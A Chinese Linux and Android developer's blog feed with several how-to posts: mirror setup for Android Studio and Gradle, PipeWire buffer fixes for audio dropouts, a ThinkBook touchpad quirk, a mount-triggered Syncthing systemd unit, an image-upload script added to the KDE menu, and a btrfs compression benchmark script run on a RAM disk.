Android Studio全流程换源指南

Android的东家Google在中国大陆受到大规模封锁,Gradle的官方服务器,受限于我国匮乏的国际出口带宽,下载速度也不理想。这给作为开发者的我们带来了诸多不便,这一不便又被Android Studio与Gradle包管理的复杂放大了,不能像linux包管理器或者pip那样一行命令搞定。想要在Android Studio开发全过程中尽可能多用上国内镜像站并不容易。本文大致记录一下。 因为我这里腾讯云与阿里云的镜像最快,所以我配置成了这两家,可酌情修改。 Android Studio SDK Update 这部分内容应该首先配置,因为第一次启动Android Studio时会有向导指引你安装SDK,此时如果不加以配置,会从默认的dl.google.com下载,虽然没有被封锁,但是速度终归有点慢。 配置的方式是按cancel按键退出向导,点击左下角齿轮打开设置,然后导航到这个位置: (我已经添加过了) 点击加号,名称随意,添加以下两个条目: 1 https://mirrors.aliyun.com/android.googlesource.com 与 1 https://mirrors.cloud.tencent.com/AndroidSDK/ 这会对速度有一定提升。 全局Gradle配置 在linux与Mac上位于~/.gradle/gradle.properties 添加以下内容: 1 maven.repo.remote=https\://maven.aliyun.com/repository/google,https\://maven.aliyun.com/repository/jcenter,https\://maven.aliyun.com/repository/public Gradle程序下载 在Android Studio自动生成的项目结构下,配置文件应该位于 gradle/wrapper/gradle-wrapper.properties 在我这里,生成的版本如下:(版本号不同很正常) 1 2 3 4 5 distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists distributionUrl=https\://services.gradle.org/distributions/gradle-8.13-bin.zip zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists 网上的教程大多告诉你把链接换成腾讯镜像的,可是实际操作中会发现还是要连接services.gradle.org导致sync过程卡死,因为这里只提供了bin二进制包,我们还同时需要src源码(虽然我还不清楚为什么) 正确的修改应该如下:(版本号需要依据实际情况修改) 1 2 3 4 5 distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists distributionUrl=https://mirrors.cloud.tencent.com/gradle/gradle-8.13-all.zip zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists all包是我们需要的,它相当于bin加上src Gradle项目配置 位于项目根目录下的settings.gradle.kts 一般而言,只需要修改以下内容 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pluginManagement { repositories { // 改为阿里云的镜像地址 maven { setUrl("https://maven.aliyun.com/repository/central") } maven { setUrl("https://maven.aliyun.com/repository/jcenter") } maven { setUrl("https://maven.aliyun.com/repository/google") } maven { setUrl("https://maven.aliyun.com/repository/gradle-plugin") } maven { setUrl("https://maven.aliyun.com/repository/public") } maven { setUrl("https://jitpack.io") } maven { setUrl("https://maven.aliyun.com/nexus/content/groups/public/") } maven { setUrl("https://maven.aliyun.com/nexus/content/repositories/jcenter") } gradlePluginPortal() google() mavenCentral() } } dependencyResolutionManagement { repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS) repositories { // 改为阿里云的镜像地址 maven { setUrl("https://maven.aliyun.com/repository/central") } maven { setUrl("https://maven.aliyun.com/repository/jcenter") } maven { setUrl("https://maven.aliyun.com/repository/google") } maven { setUrl("https://maven.aliyun.com/repository/gradle-plugin") } maven { setUrl("https://maven.aliyun.com/repository/public") } maven { setUrl("https://jitpack.io") } google() mavenCentral() } } 总结 国内复杂的网络环境确实给开发者带来了很多不必要的麻烦…

2025/8/20
articleCard.readMore

解决linux系统下pipewire作为音频服务器持续播放声音中断问题

本文接上篇在ThinkBook 16+ 2025上安装archlinux驯服记录【基本信息与触摸板修复】。按理说,本文标题本应是《在ThinkBook 16+ 2025上安装archlinux驯服记录【音频修复】》的,考虑到此问题可能影响到较多机型,故修改为更通用的标题。 闲话少说,开始解决问题。 问题背景 我有时候会用电脑播放音乐,这些音乐都是无损flac格式的盗版音乐。在我的上一台电脑上,一切正常。在这台新款的ThinkBook 16+ 2025上,问题表现为: 播放音乐的时候,能放一会儿(约30秒),然后就没有声音了,插电也是这样 声音中断后KDE设置显示“已失去与声音服务器的连接”,VLC启动时加载时间比正常情况久很多,音量被自动设置到0,且进度条不开始。 这种情况令我糟心,为了立刻重新听上音乐,我通过systemctl重启了pipewire与wireplumber服务,重新打开vlc,播放了2~3分钟后,同样的声音中断发生了。 作为archlinux用户,我的软件包都是滚动更新的最新版本,所以显然上游还没有修复这个问题,只能自己动手了。 调试过程 我查看了与声卡有关的日志,如下: 从日志上看,驱动能够正常识别与处理设备,而在播放过程中,pipewire或其下的某个组件崩溃了,造成了broken pipe 考虑到linux音频系统的混乱与复杂(如下图),我没有能力深度调试,决定先进行“猜测”。 我首先怀疑是省电配置导致的,因为我希望延长续航时间,所以安装了tlp并且手动配置了许多省电选项。 所以我直接修改了/etc/tlp.conf,找到了与声卡节能有关的配置并修改为以下内容: 1 2 SOUND_POWER_SAVE_ON_BAT=0 SOUND_POWER_SAVE_ON_AC=0 这意味着在交流供电与电源供电时都不会尝试让声卡通过挂起等方式节能。根据我的经验与直觉,linux下硬件不能正常工作,常常是和suspend(挂起)与recover(恢复)有关的。所以我满心期待以为问题解决了。 然后我跟着音乐哼着哼着,音乐停了。 我寻思是不是有内核参数在作祟,于是又折腾了好久。可是并没有用。 就在这个时候我注意到一个此前忽略的细节:虽然连续播放的音乐会中断,但是如果不播放音乐,系统的提示音效在开机后多久,甚至睡眠又唤醒后都是正常的。 也就是说长音频不行而短音频没有影响。 诡异吧? 缓冲区玄学 这个玄学问题,最终还要归结于“缓冲区”。 什么是缓冲区? 想象一下你在搬砖,有一个小推车(缓冲区)。CPU负责往小推车里放砖(音频数据),声卡负责从车里取砖去砌墙(播放声音)。为了让声卡能源源不断地拿到砖,小推车里必须一直有存货。 什么是欠载? 如果CPU因为某些原因(比如在忙别的事情)没来得及往车里放砖,导致小推车空了,声卡过来取砖时发现没东西可取,这就叫“欠载”。 欠载后会发生什么? 通常情况下,ALSA驱动会检测到这个问题,并尝试快速“恢复”现场,比如重置指针、清空缓冲区等,这可能会导致你听到一声非常短暂的“咔哒”声,但播放会继续。 实际情况(猜测) 我的硬件驱动/固件(SOF)非常新,它的“欠载恢复”机制可能有Bug。当欠载发生时,驱动尝试恢复,但操作失败了,把自己搞“死机”了。这就解释了最初日志里的那句 snd_pcm_avail after recover: 断开的管道 (Broken pipe) —— “恢复后管道断开”,意思就是恢复失败了! 刑,既然咱猜是缓存区害得,那把缓存区调大不就好了! 问题解决 我们即将创建一个配置文件覆盖原有默认设置: 1 2 sudo mkdir -p /etc/pipewire/pipewire.conf.d/ sudo nano /etc/pipewire/pipewire.conf.d/99-custom-buffer.conf 数字-XXX是linux下约定俗成的配置文件(主要是在XXconf..d下的)的命名方式,前面的数字表示加载的先后顺序,数字越大越晚被加载,而后加载的配置会覆盖先加载的,所以99(几乎肯定)能覆盖默认配置。 写入以下内容: 1 2 3 4 context.properties = { default.clock.quantum = 2048, default.clock.min-quantum = 2048 } 这是把缓冲区大小设置为了2048,对于咱们32GB RAM的高端机器来说不值得一提😎 但是如果你想显得自己很阔气把这个值调的极大呢? 哈哈,我已经帮你试过了。 不会再有什么正面影响了,同时,音频的延迟性会上升,打游戏估计不爽,但对我没影响。实际播放其实影响也不大,因为pipewire似乎会选择一个较为合适的quantum. 更新:与sof-firmware交流,有以下新消息: 在#5284中有人提出了类似的问题,他们修改了一个与alsa有关的参数,经过我的测试,可以奏效,方法如下: 新建文件~/.config/wireplumber/wireplumber.conf.d/50-alsa-config.conf,内容如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 monitor.alsa.rules = [ { # Matches all SOF alsa sinks matches = [ { api.alsa.card.name = "~sof-*" }, { node.name = "~alsa_output.*" } ] actions = { update-props = { api.alsa.headroom = 1024 } } } ] 关于为什么要这么修改,我咨询了开发人员,感谢@kv2019i的耐心解答。 原文: In short, headroom controls how close to the hardware read pointer Pipewire stays. In systems without audio DSPs, the data is consumed at a steady pace, so Pipewire can keep only very little data in the buffer (to minimize latency). When you have a DSP, power can be saved by not transferring data all the time, but moving data in bigger chunks. What happens in your case, that Pipewire keeps too little data in the audio buffer and a single DSP transfer (from main memory to DSP memory) can dry out the buffer and cause an xrun (there is nothing to play). We are not talking about large buffers here. With regular PCMs, typical DSP configuration will be a 4ms buffer, so small addition to headroom will be enough to avoid xruns. Pipewire is doing this to minimize latency, but in this case, it is too aggressive by default and ends up causing continuous xruns. We do have a separate question how to solve this better in the longer term, but currently we don’t have means in ALSA interface to describe (to apps like Pipewire) what is the maximum DMA burst size. 中文: 简而言之,headroom 控制着 Pipewire 与硬件读取指针的距离。在没有音频 DSP 的系统中,数据以稳定的速度被消耗,因此 Pipewire 只需在缓冲区中保留极少的数据(以最小化延迟)。当系统配备 DSP 时,可以通过不持续传输数据,而是以更大的块为单位传输数据来节省电量。在你的情况下,问题在于 Pipewire 在音频缓冲区中保留的数据太少,一次 DSP 传输(从主内存到 DSP 内存)就可能耗尽缓冲区,从而导致 xrun(没有可播放的内容)。 这里我们说的并不是大型缓冲区。对于常规的 PCM,典型的 DSP 配置会采用 4 毫秒的缓冲区,因此稍微增加一点 headroom 就足以避免 xrun。 Pipewire 这样做是为了最小化延迟,但在这种情况下,其默认设置过于激进,最终导致了持续的 xrun。 我们另外有一个问题,即如何在长期内更好地解决这个问题,但目前我们在 ALSA 接口中还没有办法向 Pipewire 这类应用程序描述最大 DMA 突发大小。 也就是说问题是出在alsa与pipewire的协商。而sof-firmware本身并没有问题。让我们等待上游修复吧 最后重启电脑,或者重启服务都可以 1 systemctl --user restart pipewire.service 长远考虑 以上内容算是一个对我可用的workaround,我不知道别人有没有遇到过这样的问题,也不知道这样能不能奏效。 如果你也遇到了这样的问题,希望你在评论区告诉我这样的方案能不能奏效。 同时为了帮助到更多人,我在sof的github仓库上打开了一个issue,不知道上游会怎么说。 就到这里吧。

2025/8/18
articleCard.readMore

在ThinkBook 16+ 2025上安装archlinux驯服记录【基本信息与触摸板修复】

(网图,侵删) 高考结束啦,我如愿以偿地录取到了计算与智能科学专业,当然要奖励自己一台称心的电脑啦! 选电脑是一门学问(咳咳)目前来看,市面上的笔记本电脑主要有以下几类: 轻薄本:质量轻、便携是最大优势,续航一般也不错,但处理性能羸弱、接口少。主要就上网冲浪、编辑文字,不考虑。 全能本:性能较强,性能较好,质量稍大,接口丰富,外观低调,但容易溢价。续航稍微弱一点,差不多8小时。 移动工作站:性能超强,续航一般,重量很重,价格很贵 游戏本:性能Max,屏幕Max,重量Max,价格High,续航差。 Mac:贵,屏幕好,续航长,审美不错,*nix系统,程序员易上手。生态已经较为完善了,但还可以进步。 鸿蒙笔记本:不可用。(本科四年只用这个我敬你是条汉子) 结合价格、配置、品牌等多方面因素,我最终购买了ThinkBook 16+ 2025 Ultra9 285H 核显版,属于高性能全能本了,价格国补完7000元左右,可以接受。质量2kg左右,对于我一个年轻小伙来说不算事,只是单手拿久了会累。 主要配置信息 处理器:英特尔酷睿Ultra 9 285H,16核心/16线程,最高睿频5.4GHz 内存:三星 2*16GB DDR5 5600MT/s 硬盘:忆联AM541,1TB M.2 2242 PCIe Gen4固态硬盘 显卡:英特尔Arc 140T核显 屏幕:联想16英寸IPS屏,3200×2000分辨率,165Hz刷新率,100%DCI-P3色域 网卡:Intel BE201,支持802.11 a/b/g/n/ac/ax/be(WiFi7) 电池:85Wh 第一次live CD 其实用的不是官方启动映像,之前在一个比较小的移动固态硬盘上安装了archlinux,打造了一个Linux To Go. 经过测试,默认情况下,除了触摸板、指纹识别器、静音指示灯无法工作以外,其他硬件似乎都正常。最大的问题在于续航,那个安装里没有安装TLP,也没有开启什么节能选项。查看powertop发现功耗达到了惊人的17W. 调校目标 体验了一小会儿之后,我确定了如下努力方向: 修复触摸板问题,因为绝大多数时候,我都不会使用鼠标。 音频播放有问题:系统音效正常,但连续播放一会儿音频后,声音中断,此后就没有声音了,我有时候需要用电脑放音乐,因此这一点难以接受。 尽量压低功耗。在Windows上通过AID64查看闲置功率约7W,希望在archlinux上实现接近水平(不打算单独写文章了,降低屏幕亮度,安装tlp并配置得当,把i915驱动替换为xe就够了) 实现Windows下同款的OEM功能:联想Fn+Q切换性能模式通过逆向ACPI我已经实现了,然后发现感知不到差异(没有卵用) 这款笔记本键盘上有一个目前派不上任何用处的Copilot按键,但是竟然连PrtSc/SysRq键都没有,我希望通过按键映射配置Copilot按键为PrtSc/SysRq.(参考了这个帖子已经解决,值得注意的是,如果想要像我一样把copilot键映射为PrtSc截图键,实际上在keyd配置文件中要写sysrq) 现在,开始侦查 (这是和Gemini Vibe Coding的时候要Gemini给我修复一个它自己引入Bug,然后它自信满满满地要搞定这个Bug,但是失败了) 由于触摸板是我使用频率最高的输入方式,所以我首先展开了对触摸板的修复。 通过在互联网上的检索,我得知问题的源头在于这款笔记本电脑使用的触摸板为Goodix GXTP5100 方案压力感应板 (Force Pad) Force Pad没有按键,而是在整个触控区域感知压力的变化,发出信号,从而实现点击等功能。这导致它的驱动工作方式有别于一般的触摸板,而linux桌面环境下处理触摸板的libinput没能很好地处理这一点,致使其失灵。 解决 升级至最新内核 不用说,有的时候其实上游已经解决了这个问题。像本文提到的这个问题,其实社区已经注意到了,有望在未来修复。 创建libinput配置文件 因为libinput不能正确处理GXTP5100这块触摸板,我们需要手动告知其处理方式: 首先创建文件/usr/share/libinput/60-custom-thinkbookg7p2025iah.quirks 然后写入: 1 2 3 4 5 [Lenovo ThinkBook 16 G7+ IAH touchpad] MatchName=*GXTP5100* MatchDMIModalias=dmi:*svnLENOVO:*pvrThinkBook16G7+IAH*:* MatchUdevType=touchpad ModelPressurePad=1 重启,问题修复。 致谢 感谢尼特子很辛苦哟的文章,这算是社区中较早摸清问题脉络,给出解决方案的人了。很佩服,希望以后我能像他一样! 这篇文章有点水,下一篇讲我怎么修复linux播放一段时间音乐之后声音消失的问题的。我一开始怀疑是tlp的节能设置,后来怀疑是wireplumber的bug,最后发现是pipewire的默认值不太适合我的设备。 欢迎阅读解决linux系统下pipewire作为音频服务器持续播放声音中断问题

2025/8/17
articleCard.readMore

「行云流水」在挂载移动硬盘时自动启动Syncthing开始同步的丝滑体验

Syncthing是一款持续文件同步程序。它能实时在两台或多台计算机之间同步文件,安全防范窥探。您的数据仅属于您自己,您理应选择数据的存储位置、是否与第三方共享,以及数据如何在互联网上传输。 很多人称Syncthing为一个网盘,实际上Syncthing本身不提供文件存储的服务。它只是一个工具,让你的数据可以在你的多个设备之间点对点增量传输,如果你有一台自己的NAS,那么你确实可以收获一个速度秒杀绝大部分网盘的“网盘” Syncthing的安装并不难,网上有很多教程,我就不重复造轮子了。 Syncthing的分布式存储理念很棒,但是在我的使用中,还是有点痛点。 痛点 我的上一台电脑只有256GB的存储空间,分给linux的只有60GB,在这样的空间上,我想要备份手机相册就捉襟见肘了。所以我一向把相册、音乐等等存储到一张1TB大小的机械硬盘上(1TB在机械盘中算小了,但是暂时够用)。 So,在设置Syncthing的时候我选择将Syncthing备份数据的位置放在机械硬盘上。为了防止Syncthing在我不需要的时候常驻后台,我并没有设置开机自启。于是在每次需要同步数据的时候,都需要把机械硬盘插上电脑,挂载打开,手动启动电脑和手机上的Syncthing,虽然只是一行命令的事,但是作为对系统要求到近乎苛刻的我,这一不流畅的工作流实在不够优雅。我希望实现类似于传统网盘客户端那样的“无感”体验。 你永远可以相信你对linux的自定义程度 想到要做这个事啊,我就想到了systemd 这个linux上几乎已成标准的服务管理程序。 要实现这个需求,我们希望有一个trigger触发器,在我的移动硬盘挂载的时候触发,激活我们编写的service,然后启动Syncthing 思路还挺清晰的。接下来找这个trigger 还是要吐槽一下linux,虽然可自定义性挺高,提供的接口也很多,这赋予了系统强大的能力,但是这些接口的文档太多太杂,且分散在各处。对于新手、老手都是个头疼的问题,好在现在AI吸收了天地之精华,问一下,很快就找出来了,在这一点上,AI真是提高了我的效率。 正如服务有对应的单元文件一样,设备挂载时也会产生固定的单位(但是并不存在实际文件)可以使用systemctl查看: 1 systemctl list-units --type=mount --user 我这里的输出如下: 第一列为我们需要的systemd挂载名称,最后一列为挂载路径。如果你参考持续化设置一节配置过/etc/fstab,则挂载名称会短一些。 参考ArchWiki我编写了如下的service: 1 2 3 4 5 6 7 8 9 [Unit] Description=Syncthing BindsTo=mnt-btrfs.mount [Service] ExecStart=/usr/bin/syncthing [Install] WantedBy=mnt-btrfs.mount 保存至~/.config/systemd/user/syncthing.service 创建后还需要运行: 1 systemctl enable syncthing --user 该服务才会生效,不用担心额外的资源占用,因为这个enable不会导致Syncthing在系统启动时开始运行。在设备卸载后,Syncthing也会随之停止运行 效果 Your browser does not support the video tag. 服务启动时,也会弹出浏览器中的WebUI,还挺好 Zcc见过很惊讶。

2025/8/9
articleCard.readMore

自建图床和PicGo闹不愉快?干脆自己写个脚本,深度整合到KDE右键菜单!

本站一直使用着自建EasyImages图床,提供了上传图片的API接口。在此基础上,我结合插件,一直使用饱受赞誉的PicGo作为写作时上传图片的工具。 但是,在我的Wayland桌面上,这个软件总是存在着一些小问题。首先是图片的WebP压缩支持似乎并不良好,需要使用插件,倒是有多个开发者维护的不同版本的插件,但它们质量差异大,效果也不太符合我的标准,同时也无法自定义压缩质量参数。其次PicGo的插件安装本应是很便捷的搜素-安装的,可是在我的电脑上,即使挂着梯子也无法直接在应用内搜索安装,只能上网搜索,在Github上找到后下载、解压、安装,再就是图片上传后不能自动复制链接,作为Electron软件,它在后台的资源占用也很大。 我本来一直忍受着,可是在换了新设备后,终于,在我的新电脑上,这一套行不通了。于是我干脆自己动手,丰衣足食,抛开PicGo,在KDE右键菜单中实现如图的一键上传功能。 这就是最终的效果: 简而言之,目前的版本实现了如下效果,完美符合我的需求: 上传图片前使用ImageMagick压缩为WebP(可自定义压缩参数) 压缩后图片本地留档 可以在KDE右键菜单一键上传,与系统深度整合 图片上传后自动复制Markdown格式链接 呈现系统通知,包含原始图片链接,压缩前后的大小 支持从CLI和GUI两种界面上传图片 无后台守护进程,上传图片时才调用,无前端,资源占用小 具体脚本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 #!/bin/bash # --- 配置区 --- API_URL="请替换成你自己的图床地址" TOKEN="请通过后台获取" COMPRESSED_DIR="/home/micraow/Pictures/compressed" # 压缩后的图片将在此保存 MAX_DIMENSION="2400" # 图片最大尺寸 (已更新) WEBP_QUALITY="80" # WebP 压缩质量 # --- 配置区结束 --- format_size() { local bytes=$1 if (( bytes < 1024 )); then echo "${bytes}B" elif (( bytes < 1048576 )); then # 1024*1024 printf "%.1fK\n" $(echo "scale=1; $bytes/1024" | bc) else printf "%.1fM\n" $(echo "scale=1; $bytes/1048576" | bc) fi } # 检查必要命令 for cmd in magick curl jq bc notify-send; do if ! command -v $cmd &> /dev/null; then echo "错误: 命令 '$cmd' 未找到。请先安装。" exit 1 fi done # 检查剪贴板工具 (Wayland环境优先) if ! command -v wl-copy &> /dev/null && ! command -v xclip &> /dev/null; then echo "错误: 未找到剪贴板工具。请安装 'wl-clipboard' (推荐) 或 'xclip'。" exit 1 fi # 检查输入 if [ -z "$1" ]; then echo "用法: $0 <图片路径>" exit 1 fi INPUT_IMAGE="$1" if [ ! -f "$INPUT_IMAGE" ]; then echo "错误: 文件 '$INPUT_IMAGE' 不存在。" notify-send "上传失败" "文件 '$INPUT_IMAGE' 不存在" -i dialog-error exit 1 fi # 准备路径和文件名 mkdir -p "$COMPRESSED_DIR" FILENAME=$(basename -- "$INPUT_IMAGE") BASENAME="${FILENAME%.*}" OUTPUT_WEBP="$COMPRESSED_DIR/${BASENAME}.webp" echo "--- 开始处理图片 ---" ORIGINAL_SIZE=$(stat -c%s "$INPUT_IMAGE") ORIGINAL_SIZE_HR=$(format_size $ORIGINAL_SIZE) echo "原始文件: $INPUT_IMAGE ($ORIGINAL_SIZE_HR)" # 使用 magick 进行转换和压缩 echo "正在转换并压缩..." magick "$INPUT_IMAGE" -resize "${MAX_DIMENSION}x${MAX_DIMENSION}>" -quality "$WEBP_QUALITY" "$OUTPUT_WEBP" if [ $? -ne 0 ]; then echo "错误: 图片处理失败。" notify-send "上传失败" "使用ImageMagick处理图片时出错" -i dialog-error exit 1 fi COMPRESSED_SIZE=$(stat -c%s "$OUTPUT_WEBP") COMPRESSED_SIZE_HR=$(format_size $COMPRESSED_SIZE) PERCENTAGE=$(echo "scale=2; ($COMPRESSED_SIZE * 100) / $ORIGINAL_SIZE" | bc) printf "压缩后大小: %s (原始的 %.2f%%)\n" "$COMPRESSED_SIZE_HR" "$PERCENTAGE" echo "--- 开始上传图片 ---" RESPONSE=$(curl -s -X POST "$API_URL" -F "image=@$OUTPUT_WEBP" -F "token=$TOKEN") # 图片上传核心步骤,如果不使用EasyImages,请参考文档修改 # 处理上传结果,同样是适用于EasyImages的,其他图床自行修改 if echo "$RESPONSE" | jq -e '.result == "success"' > /dev/null; then UPLOADED_URL=$(echo "$RESPONSE" | jq -r '.url') MARKDOWN_LINK="![$BASENAME]($UPLOADED_URL)" # 复制到剪贴板 (Wayland环境使用 wl-copy) if command -v wl-copy &>/dev/null && [ -n "$WAYLAND_DISPLAY" ]; then echo -n "$MARKDOWN_LINK" | wl-copy elif command -v xclip &>/dev/null; then echo -n "$MARKDOWN_LINK" | xclip -selection clipboard fi # 输出到终端 echo "" echo "✅ 上传成功!" echo "----------------------------------------" echo "图片链接: $UPLOADED_URL" echo "Markdown: $MARKDOWN_LINK" echo "----------------------------------------" echo "Markdown 链接已复制到剪贴板!" NOTIFY_BODY="大小: $ORIGINAL_SIZE_HR → $COMPRESSED_SIZE_HR\n链接: $UPLOADED_URL\n\n(Markdown已复制)" notify-send "图片上传成功" "$NOTIFY_BODY" -i "network-transmit-receive" else ERROR_MSG=$(echo "$RESPONSE" | jq -r '.result // "未知错误"') echo "❌ 上传失败。" echo "服务器返回信息: $RESPONSE" notify-send "图片上传失败" "服务器返回: $ERROR_MSG" -i "dialog-error" exit 1 fi (没错,这么复杂的shell脚本又是Gemini帮我写的) 这个脚本实现了图片上传与反馈的主要逻辑,将其保存至/usr/local/bin/upload,然后就可以在终端以upload <文件路径>的命令上传图片了,效果如下: 其实现在已经很方便了,因为直接把文件拖入终端就会输入文件位置,就像PicGo的图片拽到窗口上传。 桌面集成(仅KDE Plasma适用) 程序员遇到重复三次以上的事情,就应该考虑用脚本自动化 作为CS新人,咱们也要学会这种懒高效率的工作方式。其实我觉得最自然的调用方式是应该像题图一样,选中图片,右键上传: 所以现在要考虑如何向我的KDE Plasma桌面注册“我可以操作图片”的信息,这样在Dolphin里才能直接上传图片。 双子星,闪耀! 1 2 3 4 5 6 7 8 9 10 11 12 [Desktop Entry] Type=Service ServiceTypes=KonqPopupMenu/Plugin MimeType=image/jpeg;image/png;image/gif;image/bmp;image/webp;image/x-icon;image/jfif;image/tiff;image/tga;video/mp4;video/x-matroska; Actions=uploadImage [Desktop Action uploadImage] Name[zh_CN]=上传到我的图床 Name=上传到我的图床 Icon=network-transmit-receive Exec=/bin/bash /usr/local/bin/upload %f 请保存至~/.local/share/kio/servicemenus/upload-action.desktop随后运行: 1 kbuildsycoca6 --noincremental 再打开一个Dolphin窗口,你会发现,有了! 🫠 这下写作的工作流更顺畅了,也更愿意在文章里配图了() 不得不说linux在自定义、功能编排这一块还是很出色的,同样的功能想要在Windows上实现至少要新建个软件项目,在linux上却可以通过连接各种cli工具实现,这一优势在AI的加持下愈发明显。普通人只需要描述想法,AI就能给出还算可靠的脚本。安装几个必须的包就能把很多事情自动化。

2025/8/8
articleCard.readMore

btrfs各压缩等级速率测试脚本,选择最适合你的压缩级别

btrfs透明压缩值得尝试 之前我们写过btrfs快照的使用,不得不说,btrfs是一个非常先进的文件系统(至少在设计理念上是的)。 除了快照,btrfs的另外一个高级特性是透明压缩,强调透明是由于压缩的过程由文件系统完成,而用户以及应用无感。这就是接口抽象的意义。 透明压缩有诸多好处,引用Arch wiki: Btrfs 支持透明自动压缩,这不仅能缩减文件体积,还能通过减弱写入放大效应显著延长闪存介质的使用寿命。 在某些情况下(例如单线程繁重文件 I/O 时),压缩可以提升性能,但在其他场景中(如多线程或高 CPU 占用并涉及大量文件读写的任务),性能则会明显下降。 通常采用压缩算法越快(zstd 和 lzo)性能越好,一些基准测试提供了详细的性能对比数据。 简而言之,优点是省地方,对SSD友好,缺点是会降低一定的吞吐量,以及会占用CPU资源,可是在SSD速度已经很充足,CPU性能总是过剩的现在,这点缺点算不了什么。 所以很值得尝试。 确实很值得“尝试” btrfs给用户提供了zlib(类似zip),lzo,zstd三个可选算法。 对于压缩级别,zlib:1~9;zstd:-15~-1、1~15,需为整数。 所以理论上有25种尝试组合(忽略zstd的负值,lzo无法设置等级) 手动尝试耗时耗力还不准确,所以我万能的Gemini又下场了: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 #!/bin/zsh set -e trap 'umount -q /mnt; rmmod brd' INT TERM # 依赖检查 check_dependency() { if ! command -v $1 &> /dev/null; then echo "错误: 未找到必需的工具 $1,请先安装" exit 1 fi } check_dependency zsh check_dependency hyperfine check_dependency compsize check_dependency jq check_dependency bc check_dependency mkfs.btrfs check_dependency mkfs.ext4 # 基准测试数据目录 BENCHMARK_DIR="/tmp/silesia/" # 检查基准目录是否存在且非空 if [ ! -d "$BENCHMARK_DIR" ] || [ -z "$(ls -A "$BENCHMARK_DIR" 2>/dev/null)" ]; then echo "错误: 基准目录 $BENCHMARK_DIR 不存在或为空" echo "请下载Silesia测试集: wget http://mattmahoney.net/dc/silesia.zip && unzip silesia.zip -d /tmp/silesia/" exit 1 fi DIR_SIZE=$(du -bs "$BENCHMARK_DIR" | cut -f1) if [ "$DIR_SIZE" -eq 0 ]; then echo "错误: 基准目录大小为零" exit 1 fi OUTPUT_ROW="%-15s %-10s %-10s %20s %25s\n" # 通用基准测试函数,增加文件系统参数 bench(){ local fs_type=$1 local mount_opts=$2 local label=$3 # 根据文件系统类型选择格式化命令 if [ "$fs_type" = "btrfs" ]; then mkfs_cmd="mkfs.btrfs -O block-group-tree /dev/ram0 -f" elif [ "$fs_type" = "ext4" ]; then mkfs_cmd="mkfs.ext4 -F /dev/ram0" else echo "错误: 不支持的文件系统类型 $fs_type" return 1 fi # 测量压缩时间 (对于ext4和无压缩Btrfs,这实际是纯复制时间) comp_time=$( hyperfine \ --prepare "umount -q /mnt; $mkfs_cmd; mount -o $mount_opts /dev/ram0 /mnt; sync; echo 3 > /proc/sys/vm/drop_caches" \ --style=none --export-json - --runs 20 \ "cp -r $BENCHMARK_DIR/* /mnt; sync" | jq -r '.results[].mean' ) # 测量解压缩/读取时间 decomp_time=$( hyperfine \ --prepare "umount -q /mnt; mount -o $mount_opts /dev/ram0 /mnt; sync; echo 3 > /proc/sys/vm/drop_caches" \ --style=none --export-json - --runs 20 \ "tar -c /mnt 2>/dev/null| cat > /dev/null" | jq -r '.results[].mean' ) # 检查是否成功获取时间数据 if ! [[ "$comp_time" =~ ^[0-9.]+$ ]] || ! [[ "$decomp_time" =~ ^[0-9.]+$ ]]; then echo "错误: 无法获取有效的时间数据 for $label" return 1 fi # 获取大小信息 (ext4不支持compsize,使用du替代) if [ "$fs_type" = "btrfs" ]; then usage=$(compsize /mnt | awk '/TOTAL/ {print $2, $3}') else # 对于ext4,Ratio设为1.0,压缩后大小等于原始大小 compressed_size=$(du -bs /mnt | cut -f1) ratio=$(echo "scale=2; $compressed_size / $DIR_SIZE" | bc) usage="$ratio $compressed_size" fi # 计算速度 (MiB/s) comp_speed=$(echo "scale=6; ($DIR_SIZE / 1024 / 1024) / $comp_time" | bc) decomp_speed=$(echo "scale=6; ($DIR_SIZE / 1024 / 1024) / $decomp_time" | bc) # 格式化输出 speed=$(printf "%.3f MiB/s | %.3f MiB/s" $comp_speed $decomp_speed) printf $OUTPUT_ROW "$label" ${=usage} "$speed" umount -q /mnt } # 输出表头 printf $OUTPUT_ROW "文件系统/算法" "压缩比" "压缩后大小" "压缩速度" "解压缩速度" # 加载ramdisk模块 (2GB大小以确保能容纳测试数据) modprobe brd rd_size=$((1*1024**2)) max_part=1 rd_nr=1 # 测试ext4 bench ext4 "defaults" "ext4" echo # 测试无压缩Btrfs bench btrfs "compress=none" "btrfs (无压缩)" echo # 测试LZO压缩Btrfs bench btrfs "compress=lzo" "btrfs (lzo)" echo # 测试不同级别zstd压缩Btrfs for i in {1..6}; do bench btrfs "compress=zstd:$i" "btrfs (zstd:$i)" done echo # 测试不同级别强制zstd压缩Btrfs for i in {1..6}; do bench btrfs "compress-force=zstd:$i" "btrfs (zstd-force:$i)" done echo # 清理 rmmod brd echo "测试完成" 前决条件 运行此脚本前,你需要安装以下包: zsh btrfs-progs hyperfine compsize jq bc 你还需要下载silesia测试集,并将其解压至/tmp/silesia/下。 silesia数据集是一个专门用来测试压缩算法的数据集,包含了各种格式与编码的内容,可以模拟日常使用中用户可能使用的各类文件,确保压缩算法的鲁棒性、通用性。 你最好不要在/mnt上挂载设备,因为这个脚本即将在/mnt上创建临时文件系统。 为了确保结果准确,测试过程中不要使用电脑。 结果展示 